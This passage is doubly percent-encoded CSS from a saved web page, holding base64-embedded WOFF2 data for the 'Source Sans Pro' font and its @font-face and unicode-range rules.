%36%63%25%34%62%25%33%30%25%36%34%25%37%33%25%36%65%25%36%61%25%37%31%25%37%61%25%34%64%25%36%39%25%36%38%25%36%34%25%34%39%25%34%34%25%37%36%25%34%64%25%37%61%25%34%32%25%35%35%25%36%39%25%35%33%25%34%64%25%35%32%25%33%36%25%33%31%25%36%66%25%36%62%25%37%31%25%37%32%25%35%38%25%35%36%25%34%36%25%34%31%25%35%32%25%37%34%25%36%62%25%36%33%25%36%33%25%36%62%25%37%39%25%37%61%25%36%65%25%36%39%25%37%39%25%36%63%25%36%33%25%35%31%25%35%34%25%34%39%25%36%66%25%37%33%25%34%37%25%33%38%25%34%36%25%34%38%25%32%62%25%34%61%25%37%37%25%36%64%25%33%30%25%33%32%25%36%37%25%37%36%25%35%39%25%34%35%25%35%33%25%35%30%25%33%35%25%33%33%25%33%35%25%33%36%25%37%38%25%34%36%25%34%37%25%36%33%25%33%39%25%36%38%25%36%36%25%34%66%25%36%33%25%33%35%25%35%37%25%33%33%25%32%66%25%37%33%25%36%63%25%34%65%25%34%38%25%34%63%25%33%34%25%34%36%25%37%34%25%36%32%25%34%35%25%37%33%25%36%63%25%34%61%25%35%36%25%37%35%25%37%61%25%33%36%25%33%34%25%34%32%25%35%32%25%35%31%25%34%66%25%35%32%25%33%35%25%37%30%25%36%34%25%37%34%25%35%30%25%34%35%25%35%39%25%35%36%25%34%63%25%33%33%25%37%34%25%35%33%25%36%62%25%37%35%25%36%31%25%35%61%25%34%61%25%34%65%25%33%31%25%34%63%25%34%61%25%34%34%25%37%32%25%35%33%25%33%36%25%33%33%25%34%39%25%34%33%25%37%36%25%33%39%25%35%30%25%37%32%25%37%31%25%35%61%25%37%32%25%37%30%25%33%32%25%34%38%25%36%36%25%34%66%25%36%62%25%35%35%25%37%33%25%35%37%25%34%37%25%33%34%25%34%34%25%37%37%25%36%34%25%36%31%25%36%34%25%34%37%25%37%36%25%37%36%25%33%32%25%36%62%25%33%36%25%33%35%25%35%35%25%37%39%25%37%38%25%37%38%25%37%35%25%37%32%25%37%32%25%36%36%25%36%38%25%37%33%25%36%65%25%33%31%25%35%38%25%33%35%25%36%35%25%36%35%25%37%39%25%37%32%25%36%31%25%36%31%25%35%34%25%37%35%25%32%62%25%36%61%25%37%34%25%35%35%25%33%39%25%37%33%25%34%64%25%37%35%25%37%61%25%36%63%25%33%30%25%34%66%25%37%39%25%37%33%25%34%32%25%34%34%25%33%32%25%35%36%25%33%35%25%36%36%25%33%33%25%34%37%25%33%36%25%37%38%25%36%33%25%37%31%25%37%33%25%37%36%25%34%32%25%34%63%25%36%33%25%34%62%25%33%38%25%36%66%25%35%31%25%34%32%25%35%61%25%36%62%25%33%39%25%36%34%25%36%62%25%36%32%25%34%38%25%34%62%25%36%39%25%36%35%25%36%31%25%34%35%25%37%30%25%37%30%25%33%31%25%34%33%25%36%66%25%35%33%25%37%39%25%33%31%25%37%33%25%35%37%25%36%38%25%34%38%25%35%38%25%37%30%25%36%61%25%34%37%25%33%36%25%36%36%25%35%30%25%34%64%25%36%61%25%36%37%25%34%32%25%36%32%25%35%37%25%36%39%25%37%61%25%34%39%25%37%33%25%36%33%25%33%34%25%34%61%25%34%32%25%34%62%25%35%61%25%37%32%25%35%36%25%36%65%25%35%36%25%34%61%25%36%31%25%33%33%25%34%36%25%37%36%25%34%66%25%36%35%25%37%30%25%36%61%25%35%37%25%37%30%25%35%31%25%36%65%25%37%37%25%34%66%25%37%36%25%37%34%25%37%35%25%33%33%25%34%33%25%33%39%25%34%34%25%33%31%25%33%32%25%33%31%25%35%35%25%36%38%25%36%38%25%33%39%25%32%62%25%35%39%25%36%65%25%34%31%25%37%37%25%34%61%25%36%63%25%36%38%25%36%33%25%37%37%25%37%35%25%36%33%25%34%33%25%33%35%25%34%63%25%37%38%25%34%35%25%35%31%25%33%36%25%36%31%25%34%62%25%34%61%25%36%34%25%33%30%25%37%31%25%34%36%25%35%30%25%32%66%25%35%39%25%34%34%25%37%37%25%37%32%25%33%34%25%36%39%25%36%36%25%34%61%25%37%32%25%36%33%25%34%64%25%36%61%25%33%33%25%37%30%25%34%62%25%35%39%25%34%31%25%36%63%25%36%32%25%33%32%25%34%36%25%36%62%25%33%39%25%35%35%25%36%64%25%34%65%25%35%61%25%37%35%25%33%33%25%37%39%25%34%38%25%33%36%25%32%66%25%34%61%25%34%62%25%35%31%25%36%37%25%37%38%25%33%35%25%35%37%25%35%35%25%34%64%25%33%31%25%34%66%25%35%61%25%34%34%25%34%38%25%37%38%25%37%31%25%36%61%25%34%66%25%36%35%25%34%35%25%36%36%25%37%34%25%36%64%25%33%34%25%33%36%25%37%30%25%33%39%25%36%37%25%35%33%25%36%39%25%37%34%25%36%63%25%36%32%25%37%61%25%33%34%25%37%32%25%37%37%25%36%62%25%34%62%25%36%35%25%36%38%25%34%66%25%36%65%25%32%62%25%37%38%25%36%38%25%33%32%25%37%39%25%34%33%25%35%33%25%34%36%25%36%36%25%36%34%25%37%36%25%35%31%25%37%32%25%35%33%25%33%39%25%34%33%25%34%32%25%34%62%25%32%66%25%34%61%25%34%34%25%34%39%25%34%39%25%34%36%25%36%63%25%33%31%25%35%39%25%32%62%25%36%35%25%34%31%25%34%37%25%37%61%25%37%33%25%36%65%25%35%31%25%36%62%25%34%34%25%34%65%25%33%36%25%33%37%25%35%30%25%37%32%25%37%37%25%36%32%25%35%30%25%32%62%25%33%32%25%34%65%25%37%32%25%37%30%25%33%31%25%33%34%25%34%33%25%34%63%25%37%34%25%37%36%25%33%37%25%32%66%25%36%37%25%34%61%25%37%37%25%37%32%25%36%33%25%34%34%25%37%61%25%37%30%25%36%37%25%33%33%25%37%35%25%33%37%25%36%61%25%37%31%25%36%66%25%36%62%25%33%38%25%34%31%25%34%66%25%34%34%25%34%31%25%34%31%25%34%33%25%35%35%25%34%34%25%36%36%25%33%33%25%34%39%25%35%37%25%37%38%25%36%65%25%37%32%25%36%38%25%36%39%25%33%35%25%33%33%25%37%37%25%33%30%25%34%39%25%36%33%25%33%30%25%36%61%25%34%63%25%37%38%25%36%63%25%36%63%25%34%33%25%33%35%25%37%39%25%34%65%25%34%34%25%34%64%25%36%32%25%34%39%25%37%33%25%37%39%25%33%37%25%36%64%25%36%66%25%34%64%25%36%34%25%36%31%25%36%33%25%37%34%25%35%36%25%37%37%25%35%32%25%33%33%25%34%64%25%34%33%25%34%39%25%33%34%25%35%35%25%37%38%25%34%62%25%33%32%25%35%38%25%35%61%25%34%65%25%37%36%25%37%36%25%35%39%25%36%63%25%36%31%25%34%32%25%35%36%25%33%33%25%36%32%25%37%61%25%34%63%25%36%66%25%34%62%25%35%34%25%34%38%25%33%33%25%33%32%25%35%39%25%34%61%25%32%66%25%36%66%25%34%61%25%35%32%25%35%33%25%37%37%25%35%36%25%36%39%25%33%38%25%35%31%25%33%37%25%34%36%25%35%61%25%34%31%25%35%34%25%35%31%25%33%39%25%34%63%25%37%39%25%34%39%25%35%36%25%36%38%25%36%38%25%34%36%25%36%34%25%33%31%25%37%38%25%33%39%25%34%38%25%36%31%25%35%35%25%34%65%25%33%33%25%34%62%25%35%61%25%35%36%25%33%36%25%36%62%25%37%34%25%37%38%25%36%61%25%37%32%25%34%66%25%35%36%25%36%65%25%37%61%25%37%35%25%36%31%25%35%36%25%34%36%25%36%33%25%37%39%25%33%37%25%37%61%25%36%64%25%37%30%25%33%35%25%34%61%25%35%39%25%35%61%25%35%37%25%33%38%25%33%36%25%35%39%25%35%34%25%35%31%25%33%39%25%35%31%25%36%62%25%33%37%25%35%30%25%33%32%25%33%35%25%32%66%25%36%35%25%37%34%25%35%33%25%36%62%25%36%32%25%34%62%25%36%62%25%33%39%25%33%35%25%35%33%25%35%37%25%34%38%25%37%30%25%35%31%25%36%34%25%36%63%25%34%63%25%37%39%25%35%36%25%36%38%25%34%39%25%34%63%25%34%35%25%37%33%25%33%32%25%36%34%25%36%66%25%36%64%25%37%35%25%36%64%25%33%39%25%35%36%25%33%34%25%36%66%25%33%36%25%37%32%25%37%31%25%35%36%25%33%33%25%35%30%25%33%38%25%33%37%25%36%32%25%37%34%25%34%65%25%36%38%25%36%37%25%35%38%25%37%61%25%33%35%25%34%39%25%37%30%25%36%34%25%36%63%25%35%32%25%36%63%25%34%36%25%35%34%25%36%38%25%37%39%25%34%64%25%33%37%25%37%39%25%33%33%25%33%33%25%32%66%25%34%34%25%37%32%25%35%35%25%35%34%25%33%32%25%36%39%25%34%61%25%33%33%25%36%33%25%35%61%25%34%62%25%35%32%25%33%39%25%33%35%25%34%37%25%33%31%25%34%35%25%35%33%25%37%30%25%35%38%25%34%62%25%36%65%25%37%33%25%36%62%25%33%30%25%36%33%25%35%32%25%34%35%25%33%39%25%35%35%25%36%34%25%37%35%25%33%30%25%35%38%25%35%37%25%33%31%25%36%35%25%33%30%25%33%31%25%34%31%25%35%61%25%33%33%25%36%34%25%36%65%25%33%34%25%37%32%25%36%61%25%36%31%25%35%30%25%34%36%25%34%38%25%34%38%25%36%31%25%36%31%25%35%38%25%35%37%25%35%61%25%33%31%25%35%34%25%37%61%25%36%36%25%36%66%25%35%61%25%32%62%25%33%31%25%32%62%25%37%37%25%35%37%25%37%36%25%36%64%25%34%64%25%34%34%25%33%30%25%32%66%25%35%30%25%34%37%25%34%33%25%37%36%25%36%31%25%36%36%25%36%37%25%37%36%25%35%34%25%34%65%25%33%31%25%34%33%25%36%36%25%37%30%25%37%32%25%36%35%25%36%61%25%33%34%25%35%30%25%37%61%25%34%39%25%34%65%25%37%32%25%36%36%25%37%39%25%33%33%25%35%34%25%34%31%25%33%39%25%35%35%25%34%64%25%34%31%25%36%64%25%36%61%25%37%32%25%36%38%25%36%39%25%36%32%25%34%66%25%35%39%25%35%35%25%34%35%25%34%31%25%35%39%25%34%31%25%33%39%25%34%39%25%35%35%25%34%32%25%36%33%25%35%39%25%34%35%25%34%39%25%34%31%25%37%34%25%35%37%25%32%62%25%37%36%25%35%61%25%34%63%25%34%38%25%35%39%25%34%31%25%34%34%25%33%30%25%34%37%25%37%36%25%35%32%25%35%32%25%37%61%25%37%37%25%36%31%25%36%39%25%33%32%25%36%64%25%36%38%25%36%36%25%33%39%25%37%32%25%34%37%25%36%33%25%36%32%25%36%65%25%37%35%25%34%65%25%35%39%25%34%34%25%35%37%25%36%34%25%36%64%25%33%31%25%34%63%25%34%64%25%33%35%25%33%36%25%37%32%25%32%66%25%35%36%25%37%39%25%35%61%25%37%35%25%33%39%25%37%36%25%36%32%25%37%37%25%37%34%25%34%62%25%37%36%25%37%36%25%37%38%25%37%33%25%34%36%25%35%32%25%36%34%25%35%36%25%35%35%25%35%33%25%36%31%25%34%63%25%33%34%25%37%38%25%34%33%25%34%61%25%35%31%25%34%65%25%35%31%25%35%61%25%34%34%25%37%31%25%35%61%25%34%62%25%35%33%25%37%35%25%34%38%25%33%35%25%34%35%25%33%33%25%34%61%25%37%33%25%34%37%25%35%31%25%35%39%25%36%64%25%37%61%25%33%37%25%36%39%25%36%66%25%37%38%25%36%63%25%34%35%25%36%63%25%37%35%25%32%66%25%34%32%25%34%34%25%36%66%25%37%33%25%37%31%25%37%39%25%36%32%25%34%36%25%35%37%25%35%36%25%37%38%25%36%34%25%36%36%25%35%34%25%34%62%25%36%39%25%36%36%25%32%62%25%34%62%25%35%37%25%37%32%25%36%63%25%35%38%25%34%34%25%37%31%25%34%34%25%32%62%25%34%39%25%37%31%25%36%36%25%33%33%25%33%30%25%37%61%25%36%66%25%35%32%25%34%34%25%33%34%25%37%30%25%34%37%25%37%30%25%35%38%25%37%37%25%35%34%25%37%32%25%34%65%25%34%65%25%35%30%25%36%66%25%33%39%25%37%39%25%35%37%25%34%64%25%34%65%25%37%30%25%36%38%25%37%30%25%37%32%25%33%30%25%37%31%25%33%38%25%33%36%25%37%30%25%35%37%25%36%66%25%36%39%25%37%34%25%36%36%25%35%30%25%36%37%25%36%38%25%34%62%25%36%32%25%37%30%25%35%33%25%34%38%25%36%34%25%34%36%25%37%32%25%35%30%25%35%38%25%35%61%25%37%33%25%37%32%25%37%33%25%35%30%25%34%39%25%34%38%25%36%65%25%36%39%25%33%31%25%36%39%25%34%63%25%34%32%25%36%35%25%37%30%25%33%39%25%34%63%25%33%39%25%37%31%25%34%33%25%36%63%25%37%34%25%33%36%25%37%34%25%37%35%25%34%35%25%36%36%25%37%39%25%37%35%25%35%34%25%37%31%25%33%30%25%36%38%25%35%38%25%34%61%25%35%33%25%34%35%25%34%35%25%34%35%25%37%34%25%34%37%25%35%31%25%34%33%25%35%31%25%34%37%25%35%34%25%33%30%25%36%66%25%36%31%25%34%62%25%36%65%25%35%35%25%35%35%25%37%35%25%34%62%25%32%66%25%35%34%25%34%31%25%35%35%25%36%65%25%36%38%25%35%37%25%34%66%25%37%31%25%35%34%25%33%39%25%32%62%25%35%35%25%35%61%25%33%36%25%34%65%25%36%32%25%35%33%25%34%36%25%33%35%25%35%39%25%36%35%25%35%39%25%36%63%25%35%39%25%35%61%25%34%37%25%35%32%25%34%34%25%36%33%25%34%33%25%37%39%25%36%64%25%34%63%25%36%63%25%34%33%25%34%66%25%34%38%25%35%35%25%37%35%25%36%33%25%36%61%25%34%36%25%34%39%25%36%34%25%34%37%25%37%36%25%34%65%25%33%34%25%33%36%25%35%38%25%33%36%25%34%31%25%37%31%25%34%64%25%37%36%25%34%65%25%36%66%25%37%31%25%36%61%25%34%39%25%37%31%25%36%66%25%35%34%25%34%62%25%36%63%25%35%33%25%35%33%25%36%33%25%36%61%25%35%38%25%36%63%25%33%30%25%37%37%25%36%38%25%33%36%25%34%37%25%33%30%25%36%61%25%37%36%25%36%62%25%36%64%25%35%37%25%34%31%25%33%31%25%36%63%25%34%36%25%36%38%25%37%61%25%35%36%25%34%38%25%34%34%25%35%36%25%34%35%25%33%30%25%32%62%25%35%37%25%35%32%25%37%32%25%32%66%25%33%30%25%37%30%25%34%65%25%37%36%25%34%63%25%35%33%25%35%31%25%34%32%25%34%31%25%37%37%25%34%31%25%36%64%25%34%37%25%33%30%25%36%62%25%33%35%25%37%35%25%37%32%25%36%32%25%34%31%25%36%38%25%35%34%25%34%38%25%34%38%25%34%38%25%36%36%25%34%62%25%35%37%25%35%32%25%37%61%25%35%33%25%35%36%25%32%66%25%33%38%25%34%32%25%37%39%25%35%30%25%36%66%25%34%64%25%34%37%25%36%36%25%35%39%25%36%33%25%33%37%25%33%36%25%36%37%25%36%66%25%37%39%25%35%39%25%37%31%25%37%31%25%33%36%25%35%39%25%35%61%25%37%30%25%33%32%25%35%39%25%33%37%25%37%32%25%35%39%25%35%34%25%36%38%25%34%32%25%35%35%25%37%31%25%36%37%25%33%30%25%34%66%25%36%66%25%35%30%25%34%61%25%35%39%25%36%65%25%34%66%25%33%34%25%35%30%25%34%63%25%33%35%25%34%31%25%34%62%25%34%32%25%34%61%25%34%63%25%37%30%25%34%34%25%34%62%25%33%35%25%35%31%25%37%31%25%36%63%25%35%33%25%36%31%25%33%37%25%35%31%25%33%36%25%37%36%25%35%33%25%34%37%25%36%33%25%37%61%25%33%32%25%36%66%25%33%30%25%36%64%25%35%33%25%33%31%25%35%37%25%36%64%25%33%39%25%33%33%25%36%38%25%36%34%25%34%63%25%36%62%25%33%39%25%35%38%25%36%38%25%32%62%25%32%66%25%36%37%25%34%33%25%34%32%25%36%33%25%34%33%25%34%39%25%34%35%25%35%35%25%34%36%25%36%38%25%34%35%25%35%36%25%34%35%25%33%35%25%36%35%25%35%31%25%36%63%25%34%61%25%34%62%25%35%37%25%36%62%25%35%61%25%35%37%25%35%34%25%35%36%25%37%37%25%36%39%25%37%30%25%36%38%25%36%32%25%33%34%25%35%33%25%35%33%25%37%30%25%36%64%25%35%39%25%35%61%25%36%36%25%36%31%25%36%65%25%32%62%25%33%33%25%36%39%25%36%35%25%36%65%25%33%31%25%37%30%25%33%30%25%37%36%25%36%34%25%36%64%25%37%37%25%35%38%25%36%39%25%37%32%25%37%30%25%35%30%25%37%32%25%36%34%25%34%64%25%34%32%25%35%38%25%36%63%25%34%31%25%33%38%25%35%31%25%35%35%25%37%32%25%34%65%25%35%36%25%37%31%25%33%30%25%37%39%25%33%35%25%33%37%25%36%63%25%32%62%25%35%39%25%36%37%25%34%61%25%34%63%25%36%62%25%35%37%25%37%61%25%35%36%25%37%34%25%35%30%25%37%38%25%35%32%25%34%66%25%33%32%25%35%31%25%36%39%25%36%36%25%32%66%25%33%33%25%36%39%25%33%30%25%34%61%25%37%36%25%37%37%25%36%65%25%37%33%25%36%63%25%36%64%25%35%61%25%37%39%25%34%66%25%36%62%25%37%39%25%33%35%25%34%66%25%37%35%25%35%38%25%36%39%25%35%32%25%32%62%25%37%34%25%34%63%25%36%36%25%35%31%25%37%35%25%35%35%25%36%64%25%36%63%25%36%32%25%34%36%25%34%37%25%36%64%25%35%37%25%36%65%25%34%63%25%35%61%25%36%64%25%36%35%25%36%66%25%35%37%25%36%34%25%34%62%25%35%61%25%35%37%25%36%34%25%33%33%25%33%31%25%37%61%25%36%32%25%33%31%25%34%64%25%36%64%25%33%39%25%34%37%25%37%33%25%36%66%25%37%36%25%34%62%25%37%32%25%37%31%25%32%66%25%35%38%25%36%63%25%35%30%25%36%65%25%36%66%25%35%34%25%34%31%25%37%37%25%33%33%25%36%33%25%37%32%25%36%65%25%35%30%25%37%35%25%33%32%25%33%37%25%35%35%25%36%64%25%34%65%25%37%36%25%37%35%25%35%32%25%35%37%25%37%37%25%36%35%25%35%61%25%35%35%25%35%30%25%35%35%25%36%65%25%37%35%25%36%32%25%34%62%25%36%64%25%36%34%25%33%38%25%33%31%25%35%32%25%33%34%25%32%66%25%36%34%25%36%36%25%33%31%25%33%30%25%33%31%25%33%37%25%36%62%25%37%33%25%36%65%25%37%33%25%35%38%25%34%61%25%34%36%25%37%35%25%36%36%25%36%34%25%35%32%25%34%31%25%34%37%25%35%31%25%33%30%25%37%34%25%37%37%25%37%39%25%37%39%25%36%35%25%35%61%25%36%36%25%35%36%25%35%38%25%37%39%25%36%61%25%34%63%25%34%64%25%33%39%25%34%65%25%36%63%25%37%36%25%34%64%25%33%33%25%34%66%25%34%62%25%37%61%25%33%31%25%36%61%25%35%39%25%34%61%25%35%32%25%36%61%25%36%33%25%35%39%25%35%61%25%35%31%25%35%38%25%36%35%25%34%36%25%34%35%25%36%35%25%33%38%25%34%35%25%35%36%25%34%64%25%32%62%25%36%65%25%34%38%25%35%61%25%37%38%25%35%32%25%36%35%25%36%66%25%37%61%25%33%39%25%33%35%25%32%66%25%37%38%25%34%36%25%35%33%25%35%61%25%33%31%25%32%62%25%34%31%25%35%35%25%35%38%25%35%36%25%35%33%25%35%31%25%34%65%25%35%33%25%37%30%25%34%65%25%33%31%25%36%37%25%35%61%25%35%61%25%33%32%25%35%30%25%34%61%25%34%63%25%33%37%25%36%66%25%35%33%25%34%31%25%35%35%25%34%32%25%35%34%25%36%36%25%35%33%25%35%37%25%33%33%25%35%31%25%33%33%25%33%34%25%35%61%25%37%30%25%37%38%25%36%65%25%34%36%25%34%37%25%36%39%25%35%35%25%33%36%25%36%61%25%33%30%25%32%62%25%37%38%25%37%30%25%33%37%25%36%65%25%34%65%25%37%61%25%35%33%25%32%66%25%36%31%25%37%39%25%33%39%25%36%64%25%34%39%25%33%37%25%33%30%25%36%63%25%33%33%25%35%30%25%36%61%25%34%36%25%32%66%25%35%38%25%33%36%25%33%39%25%34%61%25%33%39%25%37%32%25%36%61%25%36%38%25%35%31%25%36%65%25%34%33%25%37%37%25%34%35%25%34%62%25%36%62%25%34%36%25%37%38%25%33%30%25%34%32%25%36%35%25%37%33%25%33%31%25%33%38%25%37%35%25%35%38%25%36%36%25%35%35%25%36%32%25%35%32%25%36%66%25%34%38%25%37%31%25%36%62%25%36%63%25%35%36%25%33%31%25%34%63%25%35%61%25%35%31%25%32%66%25%36%36%25%37%36%25%37%36%25%36%38%25%34%64%25%34%61%25%34%62%25%37%34%25%35%38%25%36%64%25%36%61%25%36%63%25%34%66%25%33%36%25%37%30%25%37%35%25%36%66%25%33%33%25%37%39%25%34%37%25%34%39%25%37%38%25%34%65%25%35%32%25%33%39%25%36%66%25%36%32%25%32%66%25%35%32%25%34%35%25%35%36%25%33%37%25%34%37%25%34%34%25%33%31%25%35%30%25%35%35%25%35%61%25%36%66%25%36%64%25%33%36%25%37%37%25%34%66%25%35%37%25%33%31%25%36%33%25%35%34%25%36%64%25%34%35%25%37%33%25%36%33%25%37%36%25%37%30%25%34%64%25%36%36%25%36%32%25%36%39%25%35%61%25%37%38%25%33%35%25%37%37%25%36%31%25%36%38%25%34%37%25%35%31%25%37%38%25%37%34%25%36%62%25%33%37%25%34%63%25%35%30%25%36%35%25%37%33%25%33%38%25%33%32%25%36%63%25%33%37%25%34%61%25%32%62%25%37%38%25%35%32%25%33%38%25%36%64%25%36%62%25%37%61%25%37%32%25%36%61%25%37%37%25%33%31%25%33%39%25%36%36%25%34%63%25%36%34%25%35%37%25%35%37%25%36%38%25%36%63%25%34%38%25%35%36%25%37%61%25%36%35%25%33%35%25%36%66%25%37%34%25%34%65%25%34%36%25%37%33%25%35%31%25%33%36%25%36%35%25%34%33%25%36%34%25%34%63%25%37%34%25%36%35%25%36%63%25%34%63%25%35%33%25%33%37%25%37%30%25%37%34%25%32%62%25%36%37%25%36%62%25%33%64%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%30%25%33%33%25%33%37%25%33%30%25%32%64%25%33%30%25%33%33%25%34%36%25%34%36%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%37%36%25%36%39%25%36%35%25%37%34%25%36%65%25%36%31%25%36%64%25%36%35%25%37%33%25%36%35%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%34%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%33%33%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%37%31%25%34%65%25%33%36%25%33%37%25%36%63%25%37%31%25%34%34%25%35%39%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%32%25%36%31%25%37%33%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%30%25%35%36%25%36%37%25%34%31%25%34%31%25%34%32%25%35%61%25%34%66%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%39%25%33%34%25%36%32%25%36%38%25%35%33%25%34%39%25%36%33%25%34%65%25%36%37%25%35%61%25%36%37%25%34%31%25%34%39%25%37%37%25%37%33%25%34%33%25%34%33%25%36%66%25%34%61%25%36%37%25%36%65%25%34%64%25%35%32%25%34%33%25%34%31%25%37%32%25%34%39%25%35%61%25%34%64%25%34%32%25%34%65%25%34%33%25%33%34%25%34%39%25%37%33%25%34%31%25%34%31%25%34%35%25%33%32%25%34%31%25%36%39%25%35%31%25%34%34%25%36%38%25%34%32%25%37%37%25%34%35%25%34%39%25%34%31%25%35%37%25%34%36%25%34%64%25%36%37%25%36%35%25%34%63%25%35%33%25%34%31%25%37%38%25%35%37%25%34%37%25%32%62%25%36%62%25%33%32%25%34%36%25%36%35%25%37%61%25%35%39%25%34%39%25%32%62%25%34%31%25%33%38%25%35%31%25%34%37%25%34%37%25%36%62%25%32%66%25%37%39%25%36%34%25%34%36%25%35%36%25%34%61%25%34%33%25%37%31%25%34%32%25%35%30%25%33%39%25%32%66%25%35%34%25%35%37%25%33%34%25%34%64%25%34%35%25%35%37%25%37%37%25%34%38%25%37%34%25%36%31%25%37%30%25%33%39%25%34%35%25%34%61%25%37%35%25%34%36%25%34%36%25%34%61%25%36%64%25%37%39%25%36%39%25%37%32%25%34%64%25%36%39%25%36%66%25%36%34%25%37%32%25%35%32%25%35%61%25%34%31%25%35%35%25%37%61%25%35%37%25%37%32%25%35%31%25%36%63%25%33%35%25%34%31%25%37%38%25%33%37%25%36%35%25%36%37%25%36%35%25%37%39%25%35%35%25%34%34%25%36%38%25%34%65%25%36%35%25%35%33%25%33%36%25%36%36%25%33%31%25%35%35%25%37%35%25%35%39%25%36%38%25%37%34%25%37%39%25%36%32%25%37%33%25%36%39%25%34%38%25%34%64%25%35%32%25%34%35%25%34%65%25%35%61%25%36%36%25%36%66%25%35%35%25%33%36%25%32%66%25%36%32%25%36%36%25%33%35%25%34%65%25%36%66%25%36%64%25%35%30%25%36%66%25%35%33%25%34%32%25%37%34%25%34%62%25%36%36%25%34%34%25%33%39%25%35%32%25%35%30%25%36%63%25%34%35%25%36%38%25%35%38%25%35%36%25%36%62%25%36%39%25%36%33%25%37%31%25%34%66%25%37%32%25%34%66%25%34%37%25%37%32%25%33%30%25%35%31%25%33%39%25%36%63%25%35%37%25%34%39%25%34%65%25%35%37%25%37%34%25%34%38%25%34%61%25%34%38%25%32%66%25%37%35%25%34%38%25%36%33%25%34%66%25%32%66%25%37%32%25%34%33%25%36%35%25%36%38%25%33%33%25%33%35%25%33%38%25%35%32%25%34%37%25%35%33%25%37%61%25%34%64%25%34%63%25%37%61%25%37%32%25%33%36%25%33%37%25%35%30%25%32%62%25%32%66%25%35%31%25%33%30%25%37%34%25%36%39%25%35%34%25%36%32%25%35%39%25%37%38%25%37%37%25%34%33%25%33%37%25%33%34%25%35%39%25%34%32%25%36%35%25%33%38%25%34%39%25%37%35%25%34%36%25%35%32%25%35%61%25%33%31%25%36%39%25%36%39%25%37%32%25%36%65%25%37%61%25%35%30%25%33%39%25%35%36%25%34%37%25%34%34%25%37%33%25%37%33%25%37%33%25%33%31%25%33%32%25%34%39%25%32%66%25%35%38%25%33%39%25%37%61%25%33%32%25%35%61%25%32%62%25%35%61%25%36%63%25%34%39%25%34%31%25%34%33%25%36%39%25%37%37%25%36%61%25%35%61%25%36%34%25%35%30%25%37%34%25%37%31%25%35%34%25%34%31%25%32%62%25%34%65%25%34%32%25%33%33%25%36%32%25%37%39%25%36%38%25%34%62%25%37%31%25%35%31%25%35%36%25%32%62%25%34%62%25%34%61%25%32%66%25%36%34%25%37%31%25%32%62%25%35%35%25%37%37%25%36%65%25%37%34%25%37%38%25%33%37%25%34%64%25%35%33%25%34%65%25%36%34%25%33%39%25%33%30%25%35%32%25%37%39%25%37%38%25%34%32%25%36%31%25%35%61%25%35%31%25%36%39%25%33%32%25%35%32%25%37%35%25%36%63%25%34%64%25%34%61%25%33%33%25%37%30%25%34%34%25%34%31%25%34%66%25